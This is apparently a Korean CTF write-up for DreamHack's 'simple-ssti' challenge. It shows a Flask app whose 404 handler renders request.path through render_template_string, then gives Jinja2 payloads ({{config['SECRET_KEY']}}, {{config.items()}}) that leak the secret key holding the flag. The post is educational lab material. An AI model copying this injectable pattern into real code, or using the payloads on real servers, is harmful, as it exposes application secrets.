WEB/DreamHack
[dreamhack] simple-ssti
PhoB
2023. 3. 24. 00:20
처음 접해보는 SSTI문제입니다!
우선 SSTI란 Server Side Template Injection으로 웹 템플릿 엔진상에서 존재하는 취약점을 악용하는 것 이라고 합니다~
웹 템플릿 엔진 기반의 SSTI 취약점 분석
01. SSTI 취약점을 이해하기 위한 사전 단계 SSTI(Server Side Template Injection)취약점은 웹 어플리케이션에 적용되어 있는 웹 템플릿 엔진(Web Template Engine)에 공격자의 공격 코드가 템플릿에 포함된 상태
www.igloo.co.kr
우선 문제로 들어가보면
두개의 링크가 반겨줍니다. 404에러는 제목 그대로 404에러를 띄워주는 페이지고 robots.txt는
비슷(?)합니다 그냥 텍스트를 띄워주네요. 그럼이제 코드를 보겠습니다.
#!/usr/bin/python3
from flask import Flask, request, render_template, render_template_string, make_response, redirect, url_for
import socket
app = Flask(__name__)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
app.secret_key = FLAG
@app.route('/')
def index():
return render_template('index.html')
@app.errorhandler(404)
def Error404(e):
template = '''
<div class="center">
<h1>Page Not Found.</h1>
<h3>%s</h3>
</div>
''' % (request.path)
return render_template_string(template), 404
app.run(host='0.0.0.0', port=8000)
우선 알아야 할것은 해당 코드는 Flask로 만들어졌다는 점과 Flask는 Jinja2라는 템플릿 엔진을 사용합니다. Jinja2 템플릿 엔진의 표현식으로는 {{...}}을 사용합니다.
{{...}}안에 flag.txt를 얻을 수 있도록 넣어봅시다
{{config['SECRET_KEY']}}
플래그 획득!
비슷하지만 다른 방법도있다
{{config.items()}}